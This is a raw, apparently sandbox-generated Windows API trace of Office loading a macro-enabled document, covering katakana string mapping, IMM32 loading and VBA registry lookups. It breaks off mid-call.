LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="エ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ォ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="オ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="カ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ガ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="キ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ギ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ク", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="グ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ケ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="コ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="サ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ザ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="シ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ジ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ス", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ズ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="セ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゼ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ソ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ゾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="タ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ダ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="チ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヂ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ッ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ツ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.574] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヅ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="テ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="デ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ト", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ド", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ナ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ニ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヌ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ネ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ノ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ハ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="バ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="パ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヒ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ビ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ピ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="フ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ブ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="プ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヘ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ベ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ペ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ホ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ボ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ポ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="マ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ミ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ム", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="メ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="モ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ャ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヤ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ュ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.575] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ユ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ョ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヨ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ラ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="リ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ル", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="レ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ロ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヮ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ワ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヰ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヱ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヲ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ン", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヴ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヵ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヶ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヷ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヸ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヹ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヺ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="・", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ー", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヽ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヾ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0066.576] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヿ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0066.579] GetUserDefaultLangID () returned 0x411 [0066.579] GetSystemDefaultLangID () returned 0x409 [0066.579] GetSystemDirectoryA (in: lpBuffer=0xbcb38f4b60, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0066.579] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x105, _Source="\\" | out: _Destination="C:\\WINDOWS\\system32\\") returned 0x0 [0066.579] SetErrorMode (uMode=0x8000) returned 0x8001 [0066.579] strcpy_s (in: _Dst=0xbcb38f4c70, _DstSize=0x105, _Src="C:\\WINDOWS\\system32\\" | out: _Dst="C:\\WINDOWS\\system32\\") returned 0x0 [0066.579] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\", _SizeInBytes=0x105, _Source="IMM32.DLL" | out: _Destination="C:\\WINDOWS\\system32\\IMM32.DLL") returned 0x0 [0066.579] LoadLibraryA (lpLibFileName="C:\\WINDOWS\\system32\\IMM32.DLL") returned 0x7ff9e7990000 [0066.580] DeactivateActCtx (dwFlags=0x0, ulCookie=0x100209ba0000017a) returned 1 [0066.580] SetErrorMode (uMode=0x8001) returned 0x8000 [0066.581] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmCreateContext") returned 0x7ff9e79989d0 [0066.581] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmDestroyContext") returned 0x7ff9e7998a60 [0066.582] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetContext") returned 0x7ff9e79933d0 [0066.582] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmReleaseContext") returned 0x7ff9e7995260 [0066.582] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmAssociateContext") returned 0x7ff9e79986f0 [0066.583] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetConversionStatus") returned 0x7ff9e7993190 [0066.583] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetConversionStatus") returned 0x7ff9e799ac20 [0066.583] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetOpenStatus") returned 0x7ff9e79930c0 [0066.584] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetOpenStatus") returned 0x7ff9e799ad60 [0066.584] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCompositionFontA") returned 0x7ff9e799a4c0 [0066.585] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCompositionStringA") returned 0x7ff9e799a640 [0066.585] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetCompositionStringA") returned 0x7ff9e7999900 [0066.585] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCompositionWindow") returned 0x7ff9e7991300 [0066.586] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmEscapeA") returned 0x7ff9e799d320 [0066.586] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmIsIME") returned 0x7ff9e7991120 [0066.587] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmSetCandidateWindow") returned 0x7ff9e799a3f0 [0066.587] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmNotifyIME") returned 0x7ff9e799da40 [0066.587] GetProcAddress (hModule=0x7ff9e7990000, lpProcName="ImmGetDefaultIMEWnd") returned 0x7ff9e7994fa0 [0066.587] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2885760a030 [0066.587] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x28857631de0 [0066.587] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20000) returned 0x2885d5569b0 [0066.587] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885cfd5af0 [0066.588] GetStockObject (i=13) returned 0x8a01c2 [0066.588] GetObjectA (in: h=0x8a01c2, c=60, pv=0xbcb38f4dd0 | out: pv=0xbcb38f4dd0) returned 60 [0066.588] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x7d8) returned 0x28857520850 [0066.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7.1\\Common", cchWideChar=-1, lpMultiByteStr=0x2885752085c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.1\\Common", lpUsedDefaultChar=0x0) returned 11 [0066.589] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x98) returned 0x2885d40ce40 [0066.589] VirtualQuery (in: lpAddress=0xbcb38f4f50, lpBuffer=0xbcb38f4f10, dwLength=0x30 | out: lpBuffer=0xbcb38f4f10*(BaseAddress=0xbcb38f4000, AllocationBase=0xbcb3800000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0066.589] CreateCompatibleDC (hdc=0x0) returned 0x5e01057e [0066.589] GetCurrentObject (hdc=0x5e01057e, type=0x7) returned 0x85000f [0066.589] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885cfd58e0 [0066.589] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x28) returned 0x2885cfd5d30 [0067.154] lstrlenA (lpString="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 52 [0067.154] malloc (_Size=0x35) returned 0x2885bb63c60 [0067.154] malloc (_Size=0x35) returned 0x2885bb63ca0 [0067.154] lstrcpyA (in: lpString1=0x2885bb63c60, lpString2="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" [0067.154] SetCursor (hCursor=0x10007) returned 0x10007 [0067.154] strnlen (_Str="C:\\Users\\FD1HVy\\Documents", _MaxCount=0x7fffffff) returned 0x19 [0067.154] malloc (_Size=0x1a) returned 0x2885bb64920 [0067.155] malloc (_Size=0x1a) returned 0x2885bb60730 [0067.157] lstrcpynA (in: lpString1=0x2885bb64920, lpString2="C:\\Users\\FD1HVy\\Documents", iMaxLength=26 | out: lpString1="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.157] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x4) returned 0x2885d5e5a20 [0067.158] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xf0) returned 0x2885d4a7a70 [0067.158] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2885d159700 [0067.159] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1078) returned 0x288571385f0 [0067.159] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xa08) returned 0x2885d530170 [0067.159] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1740) returned 0x2885d610030 [0067.159] GetLocalTime (in: lpSystemTime=0xbcb38f4df8 | out: lpSystemTime=0xbcb38f4df8*(wYear=0x7e4, wMonth=0xa, wDayOfWeek=0x0, wDay=0x4, wHour=0x17, wMinute=0x35, wSecond=0x37, wMilliseconds=0x301)) [0067.159] _ultow_s (in: _Value=0x6168c313, _Buffer=0x2885713861a, _BufferCount=0x7ff, _Radix=16 | out: _Buffer="6168c313") returned 0x0 [0067.159] wcsncpy_s (in: _Destination=0xbcb38f4ac0, _SizeInWords=0x108, _Source="*\\Z006168c313", _MaxCount=0x106 | out: _Destination="*\\Z006168c313") returned 0x0 [0067.159] CharLowerBuffW (in: lpsz="*\\Z006168c313", cchLength=0xd | out: lpsz="*\\z006168c313") returned 0xd [0067.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z006168c313", cchWideChar=14, lpMultiByteStr=0xbcb38f49f0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z006168c313", lpUsedDefaultChar=0x0) returned 14 [0067.159] wcscpy_s (in: _Destination=0x2885d159720, _SizeInWords=0xe, _Source="*\\Z006168c313" | out: _Destination="*\\Z006168c313") returned 0x0 [0067.159] wcsncpy_s (in: _Destination=0xbcb38f4b00, _SizeInWords=0x108, _Source="*\\Z006168c313", _MaxCount=0x106 | out: _Destination="*\\Z006168c313") returned 0x0 [0067.160] CharLowerBuffW (in: lpsz="*\\Z006168c313", cchLength=0xd | out: lpsz="*\\z006168c313") returned 0xd [0067.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z006168c313", cchWideChar=14, lpMultiByteStr=0xbcb38f4a30, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z006168c313", lpUsedDefaultChar=0x0) returned 14 [0067.160] lstrcpyA (in: lpString1=0x2885bb63ca0, lpString2="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" [0067.160] lstrcpyA (in: lpString1=0x2885bb63ca0, lpString2="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" [0067.160] lstrcpyA (in: lpString1=0x2885bb63ca0, lpString2="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" [0067.160] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0xbcb38f4360 | out: phkResult=0xbcb38f4360*=0x1278) returned 0x0 [0067.160] RegQueryValueExA (in: hKey=0x1278, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0xbcb38f4358, lpcbData=0xbcb38f4350*=0x4 | out: lpType=0x0, lpData=0xbcb38f4358*=0x50, lpcbData=0xbcb38f4350*=0x4) returned 0x2 [0067.160] RegCloseKey (hKey=0x1278) returned 0x0 [0067.162] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.162] wcscpy_s (in: _Destination=0xbcb38f4406, _SizeInWords=0x801, _Source="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" | out: _Destination="C:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0067.162] wcsncpy_s (in: _Destination=0xbcb38f4010, _SizeInWords=0x108, _Source="*\\Z006168c313", _MaxCount=0x106 | out: _Destination="*\\Z006168c313") returned 0x0 [0067.162] CharLowerBuffW (in: lpsz="*\\Z006168c313", cchLength=0xd | out: lpsz="*\\z006168c313") returned 0xd [0067.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z006168c313", cchWideChar=14, lpMultiByteStr=0xbcb38f3f40, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z006168c313", lpUsedDefaultChar=0x0) returned 14 [0067.162] _wcsicmp (_String1="*\\Z006168c313", _String2="*\\Z006168c313") returned 0 [0067.162] wcsncpy_s (in: _Destination=0xbcb38f4010, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0067.162] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", cchLength=0x37 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm") returned 0x37 [0067.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", cchWideChar=56, lpMultiByteStr=0xbcb38f3f40, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", lpUsedDefaultChar=0x0) returned 56 [0067.162] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d159700, cb=0x100) returned 0x2885d4f2280 [0067.162] wcscpy_s (in: _Destination=0x2885d4f22c0, _SizeInWords=0x38, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm" | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0067.162] wcsncpy_s (in: _Destination=0xbcb38f4010, _SizeInWords=0x108, _Source="*\\Z006168c313", _MaxCount=0x106 | out: _Destination="*\\Z006168c313") returned 0x0 [0067.162] CharLowerBuffW (in: lpsz="*\\Z006168c313", cchLength=0xd | out: lpsz="*\\z006168c313") returned 0xd [0067.162] WideCharToMultiByte (in: 